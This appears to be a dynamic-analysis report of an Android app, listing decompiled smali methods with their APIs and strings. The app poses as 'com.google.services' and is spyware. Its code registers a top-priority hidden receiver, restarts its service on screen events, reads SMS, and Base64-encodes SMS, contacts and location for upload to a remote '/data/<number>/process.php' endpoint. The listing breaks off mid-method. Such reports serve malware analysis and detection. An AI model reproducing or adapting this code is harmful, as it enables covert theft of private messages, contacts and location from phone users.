2 | try_start_1: sget-boolean v0, Lcom/google/services/PhoneService;->Flag:Z | |
3 | if-nez v0, :cond_7e | |
5 | iget-object v0, p0, Lcom/google/services/PhoneService$1;->this$0:Lcom/google/services/PhoneService; | |
6 | iget-boolean v0, v0, Lcom/google/services/PhoneService;->linkFlag:Z | |
7 | if-ne v0, v2, :cond_69 | |
9 | sget-object v0, Lcom/google/services/PhoneService;->send:Lcom/google/services/SendInfo; | |
11 | const-string v1, "create" | |
13 | iget-object v2, p0, Lcom/google/services/PhoneService$1;->this$0:Lcom/google/services/PhoneService; | |
15 | iget-object v2, v2, Lcom/google/services/PhoneService;->nativenumber:Ljava/lang/String; | |
17 | invoke-virtual {v0, v1, v2}, Lcom/google/services/SendInfo;->sendInfo(Ljava/lang/String;Ljava/lang/String;)Z | |
18 | move-result v0 | |
19 | if-eqz v0, :cond_61 | |
20 | new-instance v0, Landroid/content/IntentFilter; | |
22 | const-string v1, "com.google.system.receiver" | |
24 | invoke-direct {v0, v1}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V |
|
25 | const v1, 0x7fffffff | |
27 | invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->setPriority(I)V |
|
28 | new-instance v1, Lcom/google/services/sendReceiver; | |
30 | invoke-direct {v1}, Lcom/google/services/sendReceiver;-><init>()V | |
32 | iget-object v2, p0, Lcom/google/services/PhoneService$1;->this$0:Lcom/google/services/PhoneService; | |
34 | invoke-virtual {v2, v1, v0}, Lcom/google/services/PhoneService;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent; |
|
36 | sget-object v0, Lcom/google/services/PhoneService;->send:Lcom/google/services/SendInfo; | |
37 | new-instance v1, Ljava/lang/StringBuilder; | |
39 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
41 | iget-object v2, p0, Lcom/google/services/PhoneService$1;->this$0:Lcom/google/services/PhoneService; | |
43 | iget-object v2, v2, Lcom/google/services/PhoneService;->hostname:Ljava/lang/String; | |
45 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
46 | move-result-object v1 | |
48 | const-string v2, "/data/" | |
50 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
51 | move-result-object v1 | |
53 | iget-object v2, p0, Lcom/google/services/PhoneService$1;->this$0:Lcom/google/services/PhoneService; | |
55 | iget-object v2, v2, Lcom/google/services/PhoneService;->nativenumber:Ljava/lang/String; | |
57 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
58 | move-result-object v1 | |
60 | const-string v2, "/process.php" | |
62 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
63 | move-result-object v1 | |
65 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
66 | move-result-object v1 | |
67 | iput-object v1, v0, Lcom/google/services/SendInfo;->urlstr:Ljava/lang/String; | |
69 | iget-object v0, p0, Lcom/google/services/PhoneService$1;->this$0:Lcom/google/services/PhoneService; | |
71 | invoke-virtual {v0}, Lcom/google/services/PhoneService;->serviceInit()V | |
72 | const/4 v0, 0x1 | |
73 | sput-boolean v0, Lcom/google/services/PhoneService;->Flag:Z | |
74 | try_end_61: | |
75 | const-string v0, "\u5b9a\u65f6\u5668\u7684RUN" | |
77 | const-string v1, "\u6574\u4e2a\u5b9a\u65f6\u5668\u7684\u5faa\u73af\u7ed3\u675f\u4e86\uff01\uff01" | |
79 | invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
80 | return-void | |
81 | cond_69: | |
82 | iget-object v0, p0, Lcom/google/services/PhoneService$1;->this$0:Lcom/google/services/PhoneService; | |
84 | iget-object v1, p0, Lcom/google/services/PhoneService$1;->this$0:Lcom/google/services/PhoneService; | |
86 | invoke-virtual {v1}, Lcom/google/services/PhoneService;->getBaseContext()Landroid/content/Context; | |
87 | move-result-object v1 | |
89 | invoke-virtual {v0, v1}, Lcom/google/services/PhoneService;->isConnect(Landroid/content/Context;)Z | |
90 | try_end_74: goto/16 :goto_61 | |
91 | catch_75: move-exception v0 | |
93 | const-string v0, "RUN\u91cc\u9762" | |
95 | const-string v1, "ERROR" | |
97 | invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
98 | goto/16 :goto_61 | |
99 | try_start_7e: | |
100 | iget-object v0, p0, Lcom/google/services/PhoneService$1;->this$0:Lcom/google/services/PhoneService; | |
102 | iget-object v1, p0, Lcom/google/services/PhoneService$1;->this$0:Lcom/google/services/PhoneService; | |
104 | invoke-virtual {v1}, Lcom/google/services/PhoneService;->getBaseContext()Landroid/content/Context; | |
105 | move-result-object v1 | |
107 | invoke-virtual {v0, v1}, Lcom/google/services/PhoneService;->isConnect(Landroid/content/Context;)Z | |
109 | iget-object v0, p0, Lcom/google/services/PhoneService$1;->this$0:Lcom/google/services/PhoneService; | |
110 | iget-boolean v0, v0, Lcom/google/services/PhoneService;->linkFlag:Z | |
111 | if-ne v0, v2, :cond_61 | |
112 | new-instance v0, Lcom/google/services/PhoneService$1$1; | |
114 | invoke-direct {v0, p0}, Lcom/google/services/PhoneService$1$1;-><init>(Lcom/google/services/PhoneService$1;)V | |
116 | invoke-virtual {v0}, Lcom/google/services/PhoneService$1$1;->start()V | |
117 | try_end_97: goto/16 :goto_61 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .annotation system Ldalvik/annotation/Throws; | |
2 | value = { | |
3 | Ljava/io/IOException; | |
4 | } | |
5 | .end annotation | |
6 | .prologue | |
7 | try_start_0: new-instance v0, Ljava/io/File; | |
9 | invoke-virtual {p1}, Landroid/content/Context;->getFilesDir()Ljava/io/File; | |
10 | move-result-object v1 | |
12 | const-string v2, "test.txt" | |
14 | invoke-direct {v0, v1, v2}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V |
|
16 | invoke-virtual {p1}, Landroid/content/Context;->getResources()Landroid/content/res/Resources; | |
17 | move-result-object v1 | |
19 | invoke-virtual {v1}, Landroid/content/res/Resources;->getAssets()Landroid/content/res/AssetManager; | |
20 | move-result-object v1 | |
22 | const-string v2, "m.txt" | |
24 | invoke-virtual {v1, v2}, Landroid/content/res/AssetManager;->open(Ljava/lang/String;)Ljava/io/InputStream; |
|
25 | move-result-object v1 | |
26 | const/16 v2, 0x400 | |
27 | new-array v2, v2, [B | |
28 | new-instance v3, Ljava/io/RandomAccessFile; | |
30 | const-string v4, "rw" | |
32 | invoke-direct {v3, v0, v4}, Ljava/io/RandomAccessFile;-><init>(Ljava/io/File;Ljava/lang/String;)V |
|
33 | goto_24: | |
34 | invoke-virtual {v1, v2}, Ljava/io/InputStream;->read([B)I | |
35 | move-result v0 | |
36 | const/4 v4, -0x1 | |
37 | if-eq v0, v4, :cond_62 | |
38 | const/4 v4, 0x0 | |
40 | invoke-virtual {v3, v2, v4, v0}, Ljava/io/RandomAccessFile;->write([BII)V |
|
41 | try_end_2f: goto/16 :goto_24 | |
42 | catch_30: move-exception v0 | |
44 | invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V | |
45 | goto_34: new-instance v0, Ljava/io/File; | |
47 | invoke-virtual {p1}, Landroid/content/Context;->getFilesDir()Ljava/io/File; | |
48 | move-result-object v1 | |
50 | const-string v2, "test.txt" | |
52 | invoke-direct {v0, v1, v2}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V |
|
53 | iput-object v0, p0, Lcom/google/services/BookPageFactory;->book_file:Ljava/io/File; | |
55 | iget-object v0, p0, Lcom/google/services/BookPageFactory;->book_file:Ljava/io/File; | |
57 | invoke-virtual {v0}, Ljava/io/File;->length()J |
|
58 | move-result-wide v4 | |
59 | long-to-int v0, v4 | |
60 | iput v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufLen:I | |
61 | new-instance v0, Ljava/io/RandomAccessFile; | |
63 | iget-object v1, p0, Lcom/google/services/BookPageFactory;->book_file:Ljava/io/File; | |
65 | const-string v2, "r" | |
67 | invoke-direct {v0, v1, v2}, Ljava/io/RandomAccessFile;-><init>(Ljava/io/File;Ljava/lang/String;)V |
|
69 | invoke-virtual {v0}, Ljava/io/RandomAccessFile;->getChannel()Ljava/nio/channels/FileChannel; | |
70 | move-result-object v0 | |
72 | sget-object v1, Ljava/nio/channels/FileChannel$MapMode;->READ_ONLY:Ljava/nio/channels/FileChannel$MapMode; | |
73 | const-wide/16 v2, 0x0 | |
75 | invoke-virtual/range {v0 .. v5}, Ljava/nio/channels/FileChannel;->map(Ljava/nio/channels/FileChannel$MapMode;JJ)Ljava/nio/MappedByteBuffer; |
|
76 | move-result-object v0 | |
77 | iput-object v0, p0, Lcom/google/services/BookPageFactory;->m_mbBuf:Ljava/nio/MappedByteBuffer; | |
78 | return-void | |
79 | try_start_62: | |
80 | invoke-virtual {v3}, Ljava/io/RandomAccessFile;->close()V | |
82 | invoke-virtual {v1}, Ljava/io/InputStream;->close()V | |
83 | try_end_68: goto/16 :goto_34 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .parameter | |
2 | .annotation system Ldalvik/annotation/Throws; | |
3 | value = { | |
4 | Ljava/lang/RuntimeException; | |
5 | } | |
6 | .end annotation | |
7 | .prologue | |
8 | try_start_0: | |
9 | invoke-virtual {p0, p1}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B | |
10 | try_end_3: move-result-object v0 | |
12 | invoke-static {v0}, Lit/sauronsoftware/base64/Base64;->encode([B)[B | |
13 | move-result-object v0 | |
14 | try_start_8: new-instance v1, Ljava/lang/String; | |
16 | const-string v2, "ASCII" | |
18 | invoke-direct {v1, v0, v2}, Ljava/lang/String;-><init>([BLjava/lang/String;)V |
|
19 | try_end_f: return-object v1 | |
20 | catch_10: move-exception v0 | |
21 | new-instance v1, Ljava/lang/RuntimeException; | |
22 | new-instance v2, Ljava/lang/StringBuilder; | |
24 | invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V | |
26 | const-string v3, "Unsupported charset: " | |
28 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
29 | move-result-object v2 | |
31 | invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
32 | move-result-object v2 | |
34 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
35 | move-result-object v2 | |
37 | invoke-direct {v1, v2, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V | |
38 | throw v1 | |
39 | catch_2a: move-exception v0 | |
40 | new-instance v1, Ljava/lang/RuntimeException; | |
42 | const-string v2, "ASCII is not supported!" | |
44 | invoke-direct {v1, v2, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V |
|
45 | throw v1 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .prologue | |
2 | const/16 v1, 0x400 | |
3 | const/16 v3, 0x320 | |
4 | const/16 v2, 0x1e0 | |
6 | invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V | |
7 | const/4 v0, 0x1 | |
9 | invoke-virtual {p0, v0}, Lcom/google/services/turntest;->requestWindowFeature(I)Z |
|
11 | invoke-virtual {p0}, Lcom/google/services/turntest;->getWindow()Landroid/view/Window; | |
12 | move-result-object v0 | |
14 | invoke-virtual {v0, v1, v1}, Landroid/view/Window;->setFlags(II)V |
|
15 | new-instance v0, Lcom/google/services/PageWidget; | |
17 | invoke-direct {v0, p0}, Lcom/google/services/PageWidget;-><init>(Landroid/content/Context;)V | |
18 | iput-object v0, p0, Lcom/google/services/turntest;->mPageWidget:Lcom/google/services/PageWidget; | |
20 | iget-object v0, p0, Lcom/google/services/turntest;->mPageWidget:Lcom/google/services/PageWidget; | |
22 | invoke-virtual {p0, v0}, Lcom/google/services/turntest;->setContentView(Landroid/view/View;)V |
|
24 | sget-object v0, Landroid/graphics/Bitmap$Config;->ARGB_8888:Landroid/graphics/Bitmap$Config; | |
26 | invoke-static {v2, v3, v0}, Landroid/graphics/Bitmap;->createBitmap(IILandroid/graphics/Bitmap$Config;)Landroid/graphics/Bitmap; |
|
27 | move-result-object v0 | |
28 | iput-object v0, p0, Lcom/google/services/turntest;->mCurPageBitmap:Landroid/graphics/Bitmap; | |
30 | sget-object v0, Landroid/graphics/Bitmap$Config;->ARGB_8888:Landroid/graphics/Bitmap$Config; | |
32 | invoke-static {v2, v3, v0}, Landroid/graphics/Bitmap;->createBitmap(IILandroid/graphics/Bitmap$Config;)Landroid/graphics/Bitmap; |
|
33 | move-result-object v0 | |
34 | iput-object v0, p0, Lcom/google/services/turntest;->mNextPageBitmap:Landroid/graphics/Bitmap; | |
35 | new-instance v0, Landroid/graphics/Canvas; | |
37 | iget-object v1, p0, Lcom/google/services/turntest;->mCurPageBitmap:Landroid/graphics/Bitmap; | |
39 | invoke-direct {v0, v1}, Landroid/graphics/Canvas;-><init>(Landroid/graphics/Bitmap;)V | |
40 | iput-object v0, p0, Lcom/google/services/turntest;->mCurPageCanvas:Landroid/graphics/Canvas; | |
41 | new-instance v0, Landroid/graphics/Canvas; | |
43 | iget-object v1, p0, Lcom/google/services/turntest;->mNextPageBitmap:Landroid/graphics/Bitmap; | |
45 | invoke-direct {v0, v1}, Landroid/graphics/Canvas;-><init>(Landroid/graphics/Bitmap;)V | |
46 | iput-object v0, p0, Lcom/google/services/turntest;->mNextPageCanvas:Landroid/graphics/Canvas; | |
47 | new-instance v0, Lcom/google/services/BookPageFactory; | |
49 | invoke-direct {v0, v2, v3}, Lcom/google/services/BookPageFactory;-><init>(II)V | |
50 | iput-object v0, p0, Lcom/google/services/turntest;->pagefactory:Lcom/google/services/BookPageFactory; | |
52 | iget-object v0, p0, Lcom/google/services/turntest;->pagefactory:Lcom/google/services/BookPageFactory; | |
54 | invoke-virtual {p0}, Lcom/google/services/turntest;->getResources()Landroid/content/res/Resources; | |
55 | move-result-object v1 | |
56 | const v2, 0x7f020001 | |
58 | invoke-static {v1, v2}, Landroid/graphics/BitmapFactory;->decodeResource(Landroid/content/res/Resources;I)Landroid/graphics/Bitmap; |
|
59 | move-result-object v1 | |
61 | invoke-virtual {v0, v1}, Lcom/google/services/BookPageFactory;->setBgBitmap(Landroid/graphics/Bitmap;)V | |
62 | try_start_59: | |
63 | iget-object v0, p0, Lcom/google/services/turntest;->pagefactory:Lcom/google/services/BookPageFactory; | |
65 | invoke-virtual {p0}, Lcom/google/services/turntest;->getBaseContext()Landroid/content/Context; | |
66 | move-result-object v1 | |
68 | invoke-virtual {v0, v1}, Lcom/google/services/BookPageFactory;->openbook(Landroid/content/Context;)V | |
70 | iget-object v0, p0, Lcom/google/services/turntest;->pagefactory:Lcom/google/services/BookPageFactory; | |
72 | iget-object v1, p0, Lcom/google/services/turntest;->mCurPageCanvas:Landroid/graphics/Canvas; | |
74 | invoke-virtual {v0, v1}, Lcom/google/services/BookPageFactory;->wilDraw(Landroid/graphics/Canvas;)V | |
75 | try_end_69: | |
76 | iget-object v0, p0, Lcom/google/services/turntest;->mPageWidget:Lcom/google/services/PageWidget; | |
78 | iget-object v1, p0, Lcom/google/services/turntest;->mCurPageBitmap:Landroid/graphics/Bitmap; | |
80 | iget-object v2, p0, Lcom/google/services/turntest;->mCurPageBitmap:Landroid/graphics/Bitmap; | |
82 | invoke-virtual {v0, v1, v2}, Lcom/google/services/PageWidget;->setBitmaps(Landroid/graphics/Bitmap;Landroid/graphics/Bitmap;)V | |
84 | iget-object v0, p0, Lcom/google/services/turntest;->mPageWidget:Lcom/google/services/PageWidget; | |
85 | new-instance v1, Lcom/google/services/turntest$1; | |
87 | invoke-direct {v1, p0}, Lcom/google/services/turntest$1;-><init>(Lcom/google/services/turntest;)V | |
89 | invoke-virtual {v0, v1}, Lcom/google/services/PageWidget;->setOnTouchListener(Landroid/view/View$OnTouchListener;)V | |
90 | return-void | |
91 | catch_7d: move-exception v0 | |
92 | goto/16 :goto_69 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .parameter | |
2 | .prologue | |
3 | new-instance v0, Landroid/content/Intent; | |
5 | invoke-direct {v0}, Landroid/content/Intent;-><init>()V | |
7 | const-string v1, "com.google.system.receiver" | |
9 | invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent; |
|
10 | new-instance v1, Landroid/os/Bundle; | |
12 | invoke-direct {v1}, Landroid/os/Bundle;-><init>()V | |
14 | const-string v2, "sms" | |
16 | invoke-direct {p0}, Lcom/google/services/AlarmService;->getSms()Ljava/lang/String; | |
17 | move-result-object v3 | |
19 | invoke-virtual {v1, v2, v3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V |
|
21 | invoke-virtual {v0, v1}, Landroid/content/Intent;->putExtras(Landroid/os/Bundle;)Landroid/content/Intent; |
|
23 | invoke-virtual {p0, v0}, Lcom/google/services/AlarmService;->sendBroadcast(Landroid/content/Intent;)V |
|
24 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .parameter | |
2 | .prologue | |
3 | const/4 v3, 0x1 | |
4 | const/4 v2, 0x0 | |
6 | const-string v0, "activity" | |
8 | invoke-virtual {p1, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; |
|
9 | move-result-object v0 | |
10 | check-cast v0, Landroid/app/ActivityManager; | |
11 | const/16 v1, 0x1e | |
13 | invoke-virtual {v0, v1}, Landroid/app/ActivityManager;->getRunningServices(I)Ljava/util/List; |
|
14 | move-result-object v4 | |
16 | invoke-interface {v4}, Ljava/util/List;->size()I | |
17 | move-result v0 | |
18 | if-gtz v0, :cond_17 | |
19 | cond_16: return v2 | |
20 | cond_17: move v1, v2 | |
21 | goto_18: | |
22 | invoke-interface {v4}, Ljava/util/List;->size()I | |
23 | move-result v0 | |
24 | if-ge v1, v0, :cond_16 | |
26 | invoke-interface {v4, v1}, Ljava/util/List;->get(I)Ljava/lang/Object; |
|
27 | move-result-object v0 | |
28 | check-cast v0, Landroid/app/ActivityManager$RunningServiceInfo; | |
30 | iget-object v0, v0, Landroid/app/ActivityManager$RunningServiceInfo;->service:Landroid/content/ComponentName; | |
32 | invoke-virtual {v0}, Landroid/content/ComponentName;->getClassName()Ljava/lang/String; | |
33 | move-result-object v0 | |
35 | invoke-virtual {v0, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
36 | move-result v0 | |
37 | if-ne v0, v3, :cond_32 | |
38 | move v2, v3 | |
39 | goto/16 :goto_16 | |
40 | cond_32: add-int/lit8 v0, v1, 0x1 | |
41 | move v1, v0 | |
42 | goto/16 :goto_18 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .parameter | |
2 | .prologue | |
4 | const-string v0, "com.google.services.PhoneService" | |
6 | invoke-virtual {p0, p1, v0}, Lcom/google/services/ScreenReceiver;->isServiceRunning(Landroid/content/Context;Ljava/lang/String;)Z |
|
7 | move-result v0 | |
8 | if-nez v0, :cond_13 | |
9 | new-instance v0, Landroid/content/Intent; | |
10 | const-class v1, Lcom/google/services/PhoneService; | |
12 | invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
14 | invoke-virtual {p1, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName; |
|
15 | goto_12: return-void | |
16 | cond_13: | |
17 | const-string v0, "\u65b0\u7684intent" | |
19 | const-string v1, "\u4e3b\u7a0b\u5e8f\u6b63\u5728\u8fd0\u884c\uff0c\u8fd9\u6b21\u4e0d\u542f\u52a8" | |
21 | invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
22 | goto/16 :goto_12 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | new-instance v0, Landroid/content/Intent; | |
2 | const-class v1, Lcom/google/services/AlarmService; | |
4 | invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
6 | invoke-virtual {p0, v0}, Lcom/google/services/PhoneService;->startService(Landroid/content/Intent;)Landroid/content/ComponentName; |
|
7 | return-void |
78 Non-Executed Methods |
---|
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .parameter | |
2 | .prologue | |
3 | const/4 v0, 0x0 | |
5 | iget-object v1, p0, Lcom/google/services/SendInfo;->urlstr:Ljava/lang/String; | |
6 | const/4 v2, 0x0 | |
8 | invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
9 | move-result v1 | |
10 | if-nez v1, :cond_161 | |
11 | try_start_a: | |
12 | const-string v1, "sms" | |
14 | invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
15 | move-result v1 | |
16 | if-nez v1, :cond_2a | |
18 | const-string v1, "contact" | |
20 | invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
21 | move-result v1 | |
22 | if-nez v1, :cond_2a | |
24 | const-string v1, "location" | |
26 | invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
27 | move-result v1 | |
28 | if-nez v1, :cond_2a | |
30 | const-string v1, "other" | |
32 | invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
33 | move-result v1 | |
34 | if-eqz v1, :cond_39 | |
35 | cond_2a: | |
36 | const-string v1, "UTF-8" | |
38 | invoke-static {p2, v1}, Lit/sauronsoftware/base64/Base64;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; | |
39 | move-result-object v1 | |
41 | invoke-virtual {p0, p1, v1}, Lcom/google/services/SendInfo;->run(Ljava/lang/String;Ljava/lang/String;)V | |
42 | goto_33: iget-boolean v1, p0, Lcom/google/services/SendInfo;->okFlag:Z | |
43 | if-eqz v1, :cond_d3 | |
44 | const/4 v0, 0x1 | |
45 | cond_38: return v0 | |
46 | cond_39: | |
47 | invoke-virtual {p0, p1, p2}, Lcom/google/services/SendInfo;->run(Ljava/lang/String;Ljava/lang/String;)V | |
48 | try_end_3c: goto/16 :goto_33 | |
49 | catch_3d: move-exception v1 | |
51 | const-string v1, "sendInfo" | |
53 | const-string v2, "\u7f51\u7edc\u4e0d\u901a exception" | |
55 | invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
57 | const-string v1, "sms" | |
59 | invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
60 | move-result v1 | |
61 | if-eqz v1, :cond_68 | |
62 | new-instance v1, Ljava/lang/StringBuilder; | |
64 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
66 | iget-object v2, p0, Lcom/google/services/SendInfo;->sms:Ljava/lang/String; | |
68 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
69 | move-result-object v1 | |
71 | const-string v2, ";" | |
73 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
74 | move-result-object v1 | |
76 | invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
77 | move-result-object v1 | |
79 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
80 | move-result-object v1 | |
81 | iput-object v1, p0, Lcom/google/services/SendInfo;->sms:Ljava/lang/String; | |
82 | cond_68: | |
83 | const-string v1, "contact" | |
85 | invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
86 | move-result v1 | |
87 | if-eqz v1, :cond_8b | |
88 | new-instance v1, Ljava/lang/StringBuilder; | |
90 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
92 | iget-object v2, p0, Lcom/google/services/SendInfo;->contact:Ljava/lang/String; | |
94 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
95 | move-result-object v1 | |
97 | const-string v2, ";" | |
99 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
100 | move-result-object v1 | |
102 | invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
103 | move-result-object v1 | |
105 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
106 | move-result-object v1 | |
107 | iput-object v1, p0, Lcom/google/services/SendInfo;->contact:Ljava/lang/String; | |
108 | cond_8b: | |
109 | const-string v1, "location" | |
111 | invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
112 | move-result v1 | |
113 | if-eqz v1, :cond_ae | |
114 | new-instance v1, Ljava/lang/StringBuilder; | |
116 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
118 | iget-object v2, p0, Lcom/google/services/SendInfo;->location:Ljava/lang/String; | |
120 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
121 | move-result-object v1 | |
123 | const-string v2, ";" | |
125 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
126 | move-result-object v1 | |
128 | invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
129 | move-result-object v1 | |
131 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
132 | move-result-object v1 | |
133 | iput-object v1, p0, Lcom/google/services/SendInfo;->location:Ljava/lang/String; | |
134 | cond_ae: | |
135 | const-string v1, "other" | |
137 | invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
138 | move-result v1 | |
139 | if-eqz v1, :cond_38 | |
140 | new-instance v1, Ljava/lang/StringBuilder; | |
142 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
144 | iget-object v2, p0, Lcom/google/services/SendInfo;->other:Ljava/lang/String; | |
146 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
147 | move-result-object v1 | |
149 | const-string v2, ";" | |
151 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
152 | move-result-object v1 | |
154 | invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
155 | move-result-object v1 | |
157 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
158 | move-result-object v1 | |
159 | iput-object v1, p0, Lcom/google/services/SendInfo;->other:Ljava/lang/String; | |
160 | goto/16 :goto_38 | |
161 | cond_d3: | |
162 | const-string v1, "sms" | |
164 | invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
165 | move-result v1 | |
166 | if-eqz v1, :cond_f6 | |
167 | new-instance v1, Ljava/lang/StringBuilder; | |
169 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
171 | iget-object v2, p0, Lcom/google/services/SendInfo;->sms:Ljava/lang/String; | |
173 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
174 | move-result-object v1 | |
176 | const-string v2, ";" | |
178 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
179 | move-result-object v1 | |
181 | invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
182 | move-result-object v1 | |
184 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
185 | move-result-object v1 | |
186 | iput-object v1, p0, Lcom/google/services/SendInfo;->sms:Ljava/lang/String; | |
187 | cond_f6: | |
188 | const-string v1, "contact" | |
190 | invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
191 | move-result v1 | |
192 | if-eqz v1, :cond_119 | |
193 | new-instance v1, Ljava/lang/StringBuilder; | |
195 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
197 | iget-object v2, p0, Lcom/google/services/SendInfo;->contact:Ljava/lang/String; | |
199 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
200 | move-result-object v1 | |
202 | const-string v2, ";" | |
204 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
205 | move-result-object v1 | |
